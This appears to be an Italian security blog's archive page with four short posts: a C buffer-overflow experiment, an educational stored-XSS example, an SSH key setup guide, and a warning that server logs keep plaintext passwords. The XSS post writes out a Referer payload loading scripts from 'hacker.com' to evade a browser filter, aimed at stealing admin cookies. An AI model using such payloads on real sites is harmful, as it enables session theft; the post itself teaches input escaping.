Posted by Dibi Store
Sun, 02 Mar 2008 17:21:00 GMT
Oggi pomeriggio stavo provando qualche semplice esempio di buffer overflow sul mio mac book e mi aspettavo (come negli altri sistemi) di ricevere un errore di segmentation fault qualora tentassi di sovrascrivere un array al di fuori della sua grandezza. L'esempio chiarisse cosa stavo tentanto di fare:
int main()
{
int array[5];
int i;
for(i = 0; i < 255; i++)
{
array[i] = 10;
}
printf("%d\n", array[40]);
return 0;
}
Cosa vi aspettereste di output? Bhe di certo non 10! Se qualcuno sa dirmi il perchè di sta cosa mi fa un piacere, certo è che sta cosa a mio parere può condurre ad errori e andrebbe tolta.
Posted in sicurezza | Tags codekata | 10 comments | no trackbacks
Posted by Dibi Store
Wed, 13 Feb 2008 08:37:00 GMT
Molti non sanno che è possibile sfruttare la tecnica di xss anche tramite l'attributo referrer. A titolo didattico illustrerò un esempio non reale ti tale tecnica. Notate che l'url in questione può essere camuffata in diverse tecniche.
Innanzitutto l'attaccante individua una vittima e ipotizza che da qualche parte in admin ci sia una schermata di riepilogo dei referrer che hanno puntato al sito, poi crea una pagina ad hoc in qui crea un link che punti ad esempio alla home page del sito vittima, e ci clicca. In questo modo il sito vittima registrerà tale evento e verà visualizzato l'url all'amministratore. Cosa succede se però l'indirizzo del referrer è qualcosa di simile al seguente?
Referer: http://sito-cattivo.com/?<script/src="http://hacker.com/hackForIE.js
?unique=123456"src="http://hacker.com/hackForFF.js?unique=123456"></script>
In pratica questo script caricherà come sorgente il js sul sito hacker.com, tale url è stata scritta (non direttamente da me) per evitare una protezione del browser firefox. Inutile dire che dentro quel sito potrebbe esserci ad esempio un javascript che invia i cookie ad un web service predisposto per riceverli. Per ovviare al problema ricordatevi di fare un escape di tutti i dati che un utente può modificare e arrecare danno.
Posted in sicurezza | Tags xss | no comments | no trackbacks
Posted by Dibi Store
Fri, 09 Nov 2007 12:03:00 GMT
In questo articolo cercherò di essere molto breve, in quanto questo verrà usato come referenza per impostare un corretto accesso SSH in una macchina virtuale. L'esperimento viene eseguito in una macchina con sistema OSX. Mi sono ispirato all'articolo della IBM che potete trovare quiqui. E' inoltre disponibile una terza parte qui.
Per prima cosa, ho gia accesso alla macchina remota tramite SSH tramite il solito comando ssh user@remote.org.
Verificato questo, abbiamo bisogno di rigenerare una coppia di chiavi pubblica e una privata, quindi usciamo dalla macchina virtuale e generiamo la chiave RSA:
ssh-keygen
Premo invio quando mi chiede dove posizionare il file, perchè la directory di default va bene, dopodiche dobbiamo inserire una password a scelta, che NON è la password del server, che d'ora in poi chiamerò passphrase.
Prepariamo la copia per la macchina in remoto con questo comando:
scp ~/.ssh/id_rsa.pub user@remote.org
Colleghiamoci al server:
ssh user@remote.org
Dico si alla domanda se voglio continuare la connessione, e poi inserisco la password del server. A questo punto posso copiare la chiave pubblica nella mia home remota:
mkdir .ssh
cat id_rsa.pub >> ~/.ssh/authorized_keys
Usciamo dal server e proviamo a connetterci, se tutto va bene, possiamo usare la passphrase. Siamo a metà dell'opera. Fate attenzione che sia abilitata la chiave nel file /etc/ssh/sshd_config, siccome nel mio caso non lo è, genero anche una chiave dsa.
Chiave DSA
Questa parte è se volete o avete bisogno di generare una chiave DSA
ssh-keygen -t dsa
Dopo la solita storia, copiamo tutto online:
scp ~/.ssh/id_dsa.pub user@remote.org
ssh user@remote.org
cat id_dsa.pub >> ~/.ssh/authorized_keys2 #notate il 2
Posted in sicurezza | Tags ssh | no comments
Posted by Dibi Store
Sat, 29 Sep 2007 11:22:00 GMT
Quando creiamo meccanismi di autenticazione è buona norma salvare le password in hash, per limitare le possibilità che qualcuno possa decifrarle.
Limitarsi a questa precauzione però, non è sufficente. Infatti i parametri inviati in una richiesta, vengono comunque salvati nei file di log dell'applicazione, per fare una prova vi basterà effettuare qualche prova osservando i log del server, in questo caso mongrel.
Supponiamo di aver inviato una richiesta di login:
Processing SessionController#create (for 127.0.0.1 at 2007-09-29 13:17:46) [POST
]
Session ID: acfffc404b5073973612806ef118bbda
Parameters: {"commit"=>"invia", "action"=>"create", "controller"=>"session", "
login"=>"Oscar", "password"=>"secret"}
Posted in sicurezza | Tags log | no comments
